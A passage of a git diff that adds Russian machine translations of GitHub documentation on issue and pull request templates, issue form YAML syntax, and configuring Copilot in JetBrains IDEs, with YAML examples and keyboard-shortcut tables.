`docs/`. Дополнительную информацию см. в разделе [Сведения об автоматизации проблем и запросов на вытягивание с параметрами запроса](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters). + ![Шаблон для нескольких новых запросов на вытягивание в скрытом каталоге](/assets/images/help/repository/pr-template-multiple-hidden-directory.png) +4. Добавьте шаблон запроса на вытягивание в текст нового файла. Это может быть: + - [ссылка на связанную проблему](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests) в репозитории; + - описание изменений, предлагаемых в запросе на вытягивание; + - [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) пользователя или команды, ответственной за проверку предлагаемых изменений. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} Шаблоны доступны участникам совместной работы при их слиянии в ветвь репозитория по умолчанию. +{% data reusables.files.propose_new_file %} + +## Дополнительные материалы + +- [Сведения о шаблонах проблем и запросов на вытягивание](/articles/about-issue-and-pull-request-templates) +- [Сведения об автоматизации проблем и запросов на вытягивание с параметрами запроса](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters) +- [Создание запроса на вытягивание](/articles/creating-a-pull-request) diff --git a/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md new file mode 100644 index 000000000000..34413ac5e761 --- /dev/null +++ b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md @@ -0,0 +1,32 @@ +--- +title: Использование шаблонов для описания важных проблем и выполнения запросов на вытягивание +shortTitle: Issue & PR templates +intro: 'Ответственные за обслуживание репозитория могут добавлять шаблоны в репозиторий, чтобы помочь участникам создавать высококачественные проблемы и запросы на вытягивание.' +redirect_from: + - /github/building-a-strong-community/using-issue-and-pull-request-templates + - /articles/using-templates-to-encourage-high-quality-issues-and-pull-requests-in-your-repository + - /articles/using-issue-and-pull-request-templates + - /github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +children: + - /about-issue-and-pull-request-templates + - /configuring-issue-templates-for-your-repository + - /syntax-for-issue-forms + - /syntax-for-githubs-form-schema + - /creating-a-pull-request-template-for-your-repository + - /manually-creating-a-single-issue-template-for-your-repository + - /common-validation-errors-when-creating-issue-forms +ms.openlocfilehash: 0c249a073868a3f7e6432447ec983170e6ed3686 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117579' +--- + diff --git a/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md new file mode 100644 index 000000000000..0a9afc4cb589 --- /dev/null +++ b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md @@ -0,0 +1,81 @@ +--- +title: Создание одного шаблона проблем для репозитория вручную +intro: 'Когда вы добавите шаблон созданной вручную проблемы в репозиторий, участники проекта автоматически увидят содержимое шаблона в текстовой области проблемы.' +redirect_from: + - /articles/creating-an-issue-template-for-your-repository + - /articles/manually-creating-a-single-issue-template-for-your-repository + - /github/building-a-strong-community/manually-creating-a-single-issue-template-for-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Create an issue template +ms.openlocfilehash: 0d10da9cc3be128744a7b0465c016d1c6346b6f3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092337' +--- +{% data reusables.repositories.legacy-issue-template-tip %} + +Можно создать подкаталог *ISSUE_TEMPLATE/* в любой из поддерживаемых папок, чтобы он содержал шаблоны для нескольких проблем, и использовать параметр запроса `template`, чтобы указать шаблон, который будет заполнять текст проблемы. Дополнительную информацию см. в разделе [Сведения об автоматизации проблем и запросов на вытягивание с параметрами запроса](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters). + +Можно добавить титульный лист YAML в каждый шаблон проблемы, чтобы предварительно заполнить заголовок проблемы, автоматически добавлять метки и назначаемые элементы, а также присваивать шаблону имя и описание, которые будут отображаться в средстве выбора шаблона, который пользователи видят при создании новой проблемы в репозитории. + +Ниже приведен пример титульного листа YAML. + +```yaml +--- +name: Tracking issue +about: Use this template for tracking new features. +title: "[DATE]: [FEATURE NAME]" +labels: tracking issue, needs triage +assignees: octocat +--- +``` +{% note %} + +**Примечание.** Если значение титульного листа содержит зарезервированный символ YAML, например `:`, необходимо поместить все значения в кавычки. Например, `":bug: Bug"` или `":new: triage needed, :bug: bug"`. + +{% endnote %} + +{% ifversion fpt or ghec %} + +{% data reusables.repositories.valid-community-issues %} + +{% endif %} + +{% ifversion fpt or ghes or ghec %} + +{% data reusables.repositories.default-issue-templates %} + +{% endif %} + +## Добавление шаблона проблемы + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %} +3. В поле имени файла: + - Чтобы сделать шаблон проблемы видимым в корневом каталоге репозитория, введите имя *issue_template*. Например, `issue_template.md`. + ![Имя нового шаблона проблемы в корневом каталоге](/assets/images/help/repository/issue-template-file-name.png) + - Чтобы сделать шаблон проблемы видимым в корневом каталоге репозитория `docs`, введите *docs/* , а затем имя *issue_template*. Например, `docs/issue_template.md`, ![ проблемы в каталоге документации](/assets/images/help/repository/issue-template-file-name-docs.png) + - Чтобы сохранить файл в скрытом каталоге, введите *.github/* , а затем имя *issue_template*. Например, `.github/issue_template.md`. + ![Шаблон новой проблемы в скрытом каталоге](/assets/images/help/repository/issue-template-hidden-directory.png) + - Чтобы создать шаблоны для нескольких проблем и использовать параметр запроса `template`, чтобы указать шаблон для заполнения текста проблемы, введите *.github/ISSUE_TEMPLATE/,* , а затем имя шаблона проблемы. Например, `.github/ISSUE_TEMPLATE/issue_template.md`. Можно также хранить шаблоны для нескольких проблем в подкаталоге `ISSUE_TEMPLATE` в корне или каталогах `docs/`. Дополнительную информацию см. в разделе [Сведения об автоматизации проблем и запросов на вытягивание с параметрами запроса](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters). + ![Шаблон для нескольких новых проблем в скрытом каталоге](/assets/images/help/repository/issue-template-multiple-hidden-directory.png) +4. Добавьте шаблон проблемы в текст нового файла. Это может быть: + - Титульный лист YAML + - Ожидаемое поведение и фактическое поведение + - Шаги по воспроизведению проблемы + - Спецификации, такие как версия проекта, операционной системы или оборудования {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} Шаблоны доступны участникам совместной работы при слиянии их в ветвь по умолчанию репозитория. +{% data reusables.files.propose_new_file %} + +## Дополнительные материалы + +- [Сведения о шаблонах проблем и запросов на вытягивание](/articles/about-issue-and-pull-request-templates) +- [Настройка шаблонов проблем для репозитория](/articles/configuring-issue-templates-for-your-repository) +- [Сведения об автоматизации проблем и запросов на вытягивание с параметрами запроса](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters) +- [Создание проблемы](/articles/creating-an-issue) diff --git a/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md new file mode 100644 index 000000000000..88ccd2b733f9 --- /dev/null +++ b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md @@ -0,0 +1,270 @@ +--- +title: Синтаксис для схемы формы GitHub +intro: 'Для настройки форм для поддерживаемых возможностей можно использовать схему формы {% data variables.product.company_short %}.' +versions: + fpt: '*' + ghec: '*' +miniTocMaxHeadingLevel: 3 +topics: + - Community +ms.openlocfilehash: f5910f3cfdeeb148dc92ee537de4c26551a02f26 +ms.sourcegitcommit: ab0ae13cc28587f0302181d58a9519d88c7c1ef9 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/21/2022 +ms.locfileid: '148101712' +--- +{% note %} + +**Примечание.** Схема формы {% data variables.product.company_short %} в настоящее время находится в бета-версии и подлежит изменению. + +{% endnote %} + +## Сведения о схеме формы {% data variables.product.company_short %} + +Для настройки форм для поддерживаемых возможностей можно использовать схему формы {% data variables.product.company_short %}. Дополнительные сведения см. в разделе [Настройка шаблонов проблем для репозитория](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms). + +Форма — это набор элементов для запроса данных, введенных пользователем. Вы можете настроить форму, создав определение формы YAML, которое представляет собой массив элементов формы. Каждый элемент формы представляет собой набор пар "ключ-значение", определяющих тип элемента, свойства элемента и ограничения, которые необходимо применить к элементу. Для некоторых ключей значением является другой набор пар "ключ-значение". + +Например, следующее определение формы включает четыре элемента формы: текстовую область для предоставления операционной системы пользователя, раскрывающееся меню для выбора версии программного обеспечения, запущенной пользователем, флажок для подтверждения правил поведения и Markdown, который благодарит пользователя за завершение формы. + +```yaml{:copy} +- type: textarea + attributes: + label: Operating System + description: What operating system are you using? + placeholder: Example: macOS Big Sur + value: operating system + validations: + required: true +- type: dropdown + attributes: + label: Version + description: What version of our software are you running? + multiple: false + options: + - label: 1.0.2 (Default) + - label: 1.0.3 (Edge) + validations: + required: true +- type: checkboxes + attributes: + label: Code of Conduct + description: The Code of Conduct helps create a safe space for everyone. We require + that everyone agrees to it. + options: + - label: I agree to follow this project's [Code of Conduct](link/to/coc) + required: true +- type: markdown + attributes: + value: "Thanks for completing our form!" +``` + +## Ключи + +Для каждого элемента формы можно задать следующие ключи. + +| Ключ | Описание | Обязательно | Тип | По умолчанию | Допустимые значения | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `type` | Тип элемента, который требуется определить. | Обязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} |
  • `checkboxes`
  • `dropdown`
  • `input`
  • `markdown`
  • `textarea`
| +| `id` | Идентификатор элемента, за исключением случаев, когда для `type` задано значение `markdown`. {% data reusables.form-schema.id-must-be-unique %} Если он указан, то `id` является каноническим идентификатором поля в параметре запроса URL-адреса, который предварительно заполняется. | Необязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `attributes` | Набор пар "ключ-значение", определяющих свойства элемента. | Обязательно | Карта | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `validations` | Набор пар "ключ-значение", устанавливающих ограничения для элемента. | Необязательно | Карта | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | + +Вы можете выбрать из следующих элементов формы. Для каждого типа существуют уникальные атрибуты и проверки. + +| Тип | Описание | +| ---- | ----------- | +| [`markdown`](#markdown) | Текст Markdown, который отображается в форме, чтобы предоставить пользователю дополнительный контекст, но который **не отправляется**. | +| [`textarea`](#textarea) | Многострочное текстовое поле. | +| [`input`](#input) | Текстовое поле с одной строкой. | +| [`dropdown`](#dropdown) | Раскрывающееся меню. | +| [`checkboxes`](#checkboxes) | Набор флажков. | + +### `markdown` + +Элемент `markdown` можно использовать для отображения Markdown в форме, которая предоставляет пользователю дополнительный контекст, но которая не отправляется. + +#### Атрибуты + +{% data reusables.form-schema.attributes-intro %} + +| Ключ | Описание | Обязательно | Тип | По умолчанию | Допустимые значения | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `value` | Текст, преобразованный для просмотра. Поддерживается форматирование Markdown. | Обязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | + +{% tip %} + +**Советы.** Обработка YAML будет рассматривать хэш-символ как комментарий. Чтобы вставить заголовки Markdown, заключите текст в кавычки. + +Для многострочного текста с можно использовать оператор канала. + +{% endtip %} + +#### Пример + +```YAML{:copy} +body: +- type: markdown + attributes: + value: "## Thank you for contributing to our project!" +- type: markdown + attributes: + value: | + Thanks for taking the time to fill out this bug report. +``` + +### `textarea` + +Элемент `textarea` можно использовать для добавления в форму многострочного текстового поля. Участники также могут вкладывать файлы в поля `textarea`. + +#### Атрибуты + +{% data reusables.form-schema.attributes-intro %} + +| Ключ | Описание | Обязательно | Тип | По умолчанию | Допустимые значения | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `label` | Краткое описание ожидаемых данных, введенных пользователем, которые также отображаются в форме. | Обязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `description` | Описание текстовой области для предоставления контекста или руководства, которое отображается в форме. | Необязательно | Строка | Пустая строка | {% octicon "dash" aria-label="The dash icon" %} | +| `placeholder` | Полупрозрачный заполнитель, который преобразует текстовую область для просмотра при отсутствии значения. | Необязательно | Строка | Пустая строка | {% octicon "dash" aria-label="The dash icon" %} | +| `value` | Текст, предварительно заполненный в текстовой области. | Необязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `render` | Если указано значение, отправленный текст будет отформатирован в блок кода. Если указан этот ключ, текстовая область не будет расширяться для вложений файлов или редактирования Markdown. | Необязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} | Языки, известные {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. [в файле YAML для языков](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). | + +#### Проверки + +{% data reusables.form-schema.validations-intro %} + +| Ключ | Описание | Обязательно | Тип | По умолчанию | Допустимые значения | +| --- | ----------- | -------- | ---- | ------- | ------- | +{% data reusables.form-schema.required-key %} + +#### Пример + +```YAML{:copy} +body: +- type: textarea + id: repro + attributes: + label: Reproduction steps + description: "How do you trigger this bug? Please walk us through it step by step." + value: | + 1. + 2. + 3. + ... + render: bash + validations: + required: true +``` + +### `input` + +Элемент `input` можно использовать для добавления в форму текстового поля с одной строкой. + +#### Атрибуты + +{% data reusables.form-schema.attributes-intro %} + +| Ключ | Описание | Обязательно | Тип | По умолчанию | Допустимые значения | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `label` | Краткое описание ожидаемых данных, введенных пользователем, которые также отображаются в форме. | Обязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `description` | Описание поля для предоставления контекста или руководства, которое отображается в форме. | Необязательно | Строка | Пустая строка | {% octicon "dash" aria-label="The dash icon" %} | +| `placeholder` | Полупрозрачный заполнитель, который отображается в поле при пустом значении. | Необязательно | Строка | Пустая строка | {% octicon "dash" aria-label="The dash icon" %} | +| `value` | Текст, предварительно заполненный в поле. | Необязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | + +#### Проверки + +{% data reusables.form-schema.validations-intro %} + +| Ключ | Описание | Обязательно | Тип | По умолчанию | Допустимые значения | +| --- | ----------- | -------- | ---- | ------- | ------- | +{% data reusables.form-schema.required-key %} + +#### Пример + +```YAML{:copy} +body: +- type: input + id: prevalence + attributes: + label: Bug prevalence + description: "How often do you or others encounter this bug?" + placeholder: "Example: Whenever I visit the personal account page (1-2 times a week)" + validations: + required: true +``` + +### `dropdown` + +Элемент `dropdown` можно использовать для добавления раскрывающегося меню в форму. + +#### Атрибуты + +{% data reusables.form-schema.attributes-intro %} + +| Ключ | Описание | Обязательно | Тип | По умолчанию | Допустимые значения | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `label` | Краткое описание ожидаемых данных, введенных пользователем, которые отображаются в форме. | Обязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `description` | Описание раскрывающегося списка для предоставления дополнительного контекста или руководства, которое отображается в форме. | Необязательно | Строка | Пустая строка | {% octicon "dash" aria-label="The dash icon" %} | +| `multiple` | Определяет, может ли пользователь выбрать несколько вариантов. | Необязательно | Логическое | false | {% octicon "dash" aria-label="The dash icon" %} | +| `options` | Массив вариантов, которые может выбрать пользователь. Не может быть пустым, а все варианты должны быть уникальными. | Обязательно | Массив строк | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | + +#### Проверки + +{% data reusables.form-schema.validations-intro %} + +| Ключ | Описание | Обязательно | Тип | По умолчанию | Допустимые значения | +| --- | ----------- | -------- | ---- | ------- | ------- | +{% data reusables.form-schema.required-key %} + +#### Пример + +```YAML{:copy} +body: +- type: dropdown + id: download + attributes: + label: How did you download the software? + options: + - Homebrew + - MacPorts + - apt-get + - Built from source + validations: + required: true +``` + +### `checkboxes` + +Элемент `checkboxes` можно использовать для добавления набора флажков в форму. + +#### Атрибуты + +{% data reusables.form-schema.attributes-intro %} + +| Ключ | Описание | Обязательно | Тип | По умолчанию | Допустимые значения | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `label` | Краткое описание ожидаемых данных, введенных пользователем, которые отображаются в форме. | Обязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `description` | Описание набора флажков, отображаемых в форме. Поддерживает форматирование Markdown. | Необязательно | Строка | Пустая строка | {% octicon "dash" aria-label="The dash icon" %} | +| `options` | Массив флажков, которые может выбрать пользователь. Сведения о синтаксисе см. далее. | Обязательно | Array | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | + +{% data reusables.form-schema.options-syntax %} {% data reusables.form-schema.required-key %} + +#### Пример + +```YAML{:copy} +body: +- type: checkboxes + id: operating-systems + attributes: + label: Which operating systems have you used? + description: You may select more than one. + options: + - label: macOS + - label: Windows + - label: Linux +``` + +## Дополнительные материалы + +- [YAML](https://yaml.org) diff --git a/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md new file mode 100644 index 000000000000..2047adfc78a2 --- /dev/null +++ b/translations/ru-RU/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md @@ -0,0 +1,173 @@ +--- +title: Синтаксис для форм проблем +intro: 'Для форм проблем можно определять различные типы входных данных, проверки, уполномоченных по умолчанию и метки по умолчанию.' +versions: + fpt: '*' + ghec: '*' +topics: + - Community +ms.openlocfilehash: 7e147868ce370b57c6a7437bc81f7b554f50443b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092329' +--- +{% data reusables.community.issue-forms-beta %} + +## Сведения о синтаксисе YAML для форм проблем + +Вы можете создать пользовательские формы проблем, добавляя YAML-файлы определения форм в папку `/.github/ISSUE_TEMPLATE` репозитория. {% data reusables.actions.learn-more-about-yaml %} Для форм проблем можно определять различные типы входных данных, проверки, уполномоченных по умолчанию и метки по умолчанию. + +Когда участник заполняет форму проблемы, его ответы преобразуются в markdown и добавляются в текст проблемы. Участники могут изменять свои проблемы, созданные с помощью форм проблем, а другие пользователи могут взаимодействовать с такими проблемами так же, как с созданными другими способами. + +Формы проблем не поддерживаются для запросов на вытягивание. Вы можете создавать шаблоны запросов на вытягивание в репозиториях для использования участниками совместной работы. Дополнительные сведения см. в статье [Создание шаблона запроса на вытягивание для репозитория](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository). + +В этом примере файл конфигурации YAML определяет форму проблемы для сообщения об ошибке с использованием нескольких входных полей. + +{% data reusables.community.issue-forms-sample %} + +## Общий синтаксис + +Все файлы конфигурации для форм проблем должны начинаться с пар "ключ-значение" `name`, `description` и `body`. + +```YAML{:copy} +name: +description: +body: +``` + +Для каждой формы проблемы можно задать следующие ключи верхнего уровня. + +| Ключ | Описание | Обязательно | Тип | +| :-- | :-- | :-- | :-- | :-- | +| `name` | Имя шаблона формы проблемы. Должно отличаться от имен остальных шаблонов, включая шаблоны Markdown. | Обязательно | Строка | +| `description` | Описание шаблона формы проблемы, которое отображается в интерфейсе выбора шаблона. | Обязательно | Строка | +| `body` | Определение типов входных данных в форме. | Обязательно | Array | +| `assignees` | Пользователи, которые будут автоматически назначены проблемам, созданным с помощью этого шаблона. | Необязательно | Массив или строка с разделителями-запятыми | +| `labels` | Метки, которые будут автоматически добавляться к проблемам, созданным с помощью этого шаблона. | Необязательно | Массив или строка с разделителями-запятыми | +| `title` | Заголовок по умолчанию, который будет предварительно заполнен в форме отправки проблемы. | Необязательно | Строка | + +Доступные типы входных данных для `body` и их синтаксис см. в разделе [Синтаксис для схемы формы {% data variables.product.prodname_dotcom %}](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema). + +## Преобразование шаблона проблемы Markdown в шаблон формы проблемы YAML + +В репозитории можно использовать шаблоны проблем Markdown и YAML. Если вы хотите преобразовать шаблон проблемы Markdown в шаблон формы проблемы YAML, необходимо создать файл YAML для определения формы проблемы. Вы можете вручную транспонировать существующий шаблон проблемы Markdown в форму проблемы YAML. Дополнительные сведения см. в разделе [Настройка шаблонов проблем для репозитория](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms). + +Если вы хотите использовать то же имя файла для формы проблемы YAML, при фиксации нового файла в репозитории необходимо удалить шаблон проблемы Markdown. + +Ниже приведен пример шаблона проблемы Markdown и соответствующего шаблона формы проблемы YAML. + +### Шаблон проблемы Markdown + +```markdown{:copy} +--- +name: 🐞 Bug +about: File a bug/issue +title: '[BUG] ' +labels: Bug, Needs Triage +assignees: '' + +--- + +{% raw %}<{% endraw %}!-- +Note: Please search to see if an issue already exists for the bug you encountered. +--{% raw %}>{% endraw %} + +### Current Behavior: +{% raw %}<{% endraw %}!-- A concise description of what you're experiencing. --{% raw %}>{% endraw %} + +### Expected Behavior: +{% raw %}<{% endraw %}!-- A concise description of what you expected to happen. --{% raw %}>{% endraw %} + +### Steps To Reproduce: +{% raw %}<{% endraw %}!-- +Example: steps to reproduce the behavior: +1. In this environment... +2. With this config... +3. Run '...' +4. See error... +--{% raw %}>{% endraw %} + +### Environment: +{% raw %}<{% endraw %}!-- +Example: +- OS: Ubuntu 20.04 +- Node: 13.14.0 +- npm: 7.6.3 +--{% raw %}>{% endraw %} + +### Anything else: +{% raw %}<{% endraw %}!-- +Links? References? Anything that will give us more context about the issue that you are encountering! +--{% raw %}>{% endraw %} +``` + +### Шаблон формы проблемы YAML + +```yaml{:copy} +name: 🐞 Bug +description: File a bug/issue +title: "[BUG] <title>" +labels: [Bug, Needs Triage] +body: +- type: checkboxes + attributes: + label: Is there an existing issue for this? + description: Please search to see if an issue already exists for the bug you encountered. + options: + - label: I have searched the existing issues + required: true +- type: textarea + attributes: + label: Current Behavior + description: A concise description of what you're experiencing. + validations: + required: false +- type: textarea + attributes: + label: Expected Behavior + description: A concise description of what you expected to happen. + validations: + required: false +- type: textarea + attributes: + label: Steps To Reproduce + description: Steps to reproduce the behavior. + placeholder: | + 1. In this environment... + 2. With this config... + 3. Run '...' + 4. See error... + validations: + required: false +- type: textarea + attributes: + label: Environment + description: | + examples: + - **OS**: Ubuntu 20.04 + - **Node**: 13.14.0 + - **npm**: 7.6.3 + value: | + - OS: + - Node: + - npm: + render: markdown + validations: + required: false +- type: textarea + attributes: + label: Anything else? + description: | + Links? References? Anything that will give us more context about the issue you are encountering! + + Tip: You can attach images or log files by clicking this area to highlight it and then dragging files in. + validations: + required: false +``` + +## Дополнительные материалы + +- [YAML](https://yaml.org/) +- [Распространенные ошибки проверки при создании форм проблем](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms) diff --git a/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md b/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md new file mode 100644 index 000000000000..f3e50cb38de9 --- /dev/null +++ b/translations/ru-RU/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md @@ -0,0 +1,88 @@ +--- +title: Настройка GitHub Copilot в интегрированной среде разработки JetBrains +intro: 'Вы можете включить, настроить и отключить {% data variables.product.prodname_copilot %} в интегрированной среде разработки JetBrains.' +product: '{% data reusables.gated-features.copilot %}' +topics: + - Copilot +versions: + feature: copilot +shortTitle: JetBrains +ms.openlocfilehash: 845f9306f519391f165dd00d3eefebed67bd409a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147080670' +--- +## Сведения о{% data variables.product.prodname_copilot %} в интегрированной среде разработки JetBrains + +Если вы используете интегрированную среду разработки Jetbrains, {% data variables.product.prodname_copilot %} может автоматически завершать код по мере ввода. После установки можно включить или отключить {% data variables.product.prodname_copilot %}, а также настроить дополнительные параметры в интегрированной среде разработки или на {% data variables.product.prodname_dotcom_the_website %}. + +## Предварительные требования + +Чтобы настроить {% data variables.product.prodname_copilot %} в интегрированной среде разработки JetBrains, установите подключаемый модуль {% data variables.product.prodname_copilot %}. Дополнительные сведения см. в статье [Начало работы с {% data variables.product.prodname_copilot %} в интегрированной среде разработки JetBrains](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide). + +## Сочетания клавиш для {% data variables.product.prodname_copilot %} + +Сочетания клавиш по умолчанию можно использовать для встроенных предложений в интегрированной среде разработки JetBrains при использовании {% data variables.product.prodname_copilot %}. Кроме того, можно повторно указать предпочитаемые сочетания клавиш для каждой конкретной команды. Дополнительные сведения о повторной привязке сочетаний клавиш в интегрированной среде разработки JetBrains см. в документации по JetBrains. Например, можно просмотреть документацию по [IntelliJ IDEA](https://www.jetbrains.com/help/idea/mastering-keyboard-shortcuts.html#choose-keymap). + +{% mac %} + +| Действие | Сочетание клавиш | +|:---|:---| +|Принять встроенное предложение|<kbd>Вкладка</kbd>| +|Отклонить встроенное предложение|<kbd>ESC</kbd>| +|Показать следующее встроенное предложение|<kbd>Option (⌥) или ALT</kbd>+<kbd>]</kbd>| +|Показать предыдущее встроенное предложение|<kbd>Option (⌥) или ALT</kbd>+<kbd>[</kbd>| +|Активировать встроенное предложение|<kbd>Option (⌥)</kbd>+<kbd>\</kbd>| +|Открыть {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>Option (⌥) или ALT</kbd>+<kbd>Return</kbd> | + +{% endmac %} + +{% windows %} + +| Действие | Сочетание клавиш | +|:---|:---| +|Принять встроенное предложение|<kbd>Вкладка</kbd>| +|Отклонить встроенное предложение|<kbd>ESC</kbd>| +|Показать следующее встроенное предложение|<kbd>ALT</kbd>+<kbd>]</kbd>| +|Показать предыдущее встроенное предложение|<kbd>ALT</kbd>+<kbd>[</kbd>| +|Активировать встроенное предложение|<kbd>ALT</kbd>+<kbd>\</kbd>| +|Открыть {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>ALT</kbd>+<kbd>ВВОД</kbd> | + +{% endwindows %} + +{% linux %} + +| Действие | Сочетание клавиш | +|:---|:---| +|Принять встроенное предложение|<kbd>Вкладка</kbd>| +|Отклонить встроенное предложение|<kbd>ESC</kbd>| +|Показать следующее встроенное предложение|<kbd>ALT</kbd>+<kbd>]</kbd>| +|Показать предыдущее встроенное предложение|<kbd>ALT</kbd>+<kbd>[</kbd>| +|Активировать встроенное предложение|<kbd>ALT</kbd>+<kbd>\</kbd>| +|Открыть {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>ALT</kbd>+<kbd>ВВОД</kbd> | + +{% endlinux %} + +## Включение или отключение {% data variables.product.prodname_copilot %} + +Вы можете включить или отключить {% data variables.product.prodname_copilot %} в интегрированной среде разработки JetBrains. Значок состояния {% data variables.product.prodname_copilot %} на нижней панели окна JetBrains указывает, включен или отключен параметр {% data variables.product.prodname_copilot %}. Если этот параметр включен, значок выделен. Если он отключен, значок неактивен. + +1. Чтобы включить или отключить {% data variables.product.prodname_copilot %}, щелкните значок состояния на нижней панели окна JetBrains. + ![Значок состояния в JetBrains](/assets/images/help/copilot/status-icon-jetbrains.png) +2. Если вы отключаете {% data variables.product.prodname_copilot %}, появится запрос, следует ли отключить их глобально или для языка файла, который вы редактируете. Для глобального отключения нажмите кнопку **Отключить завершения**. Или щелкните кнопку для конкретного языка, чтобы отключить {% data variables.product.prodname_copilot %} только для него. + ![Отключить {% data variables.product.prodname_copilot %} глобально или для текущего языка](/assets/images/help/copilot/disable-copilot-global-or-langugage-jetbrains.png) + +## Настройка дополнительных параметров для {% data variables.product.prodname_copilot %} + +Вы можете управлять расширенными параметрами для {% data variables.product.prodname_copilot %} в интегрированной среде разработки JetBrains, например, как в интегрированной среде разработки отображается завершения кода и какие языки вы хотите включить или отключить для {% data variables.product.prodname_copilot %}. + +1. В интегрированной среде разработки JetBrains откройте меню **Файл** и выберите пункт **Параметры**. +1. В разделе **Языки и платформы** щелкните **{% data variables.product.prodname_copilot %}** . +1. Измените параметры в соответствии с вашими предпочтениями. + - Чтобы настроить поведение и внешний вид предложений по коду и указать, следует ли автоматически проверять наличие обновлений, поставьте или снимите соответствующие флажки. + - Если вы решили получать автоматические обновления, вы можете выбрать, следует ли получать стабильные обновления, но редко, или каждую ночь, но менее стабильные. Щелкните раскрывающийся список **Канал обновления** и выберите **Стабильные** или **Каждую ночь**. + - В разделе "Отключенные языки" установите флажки для выбора или отмены выбора языков, 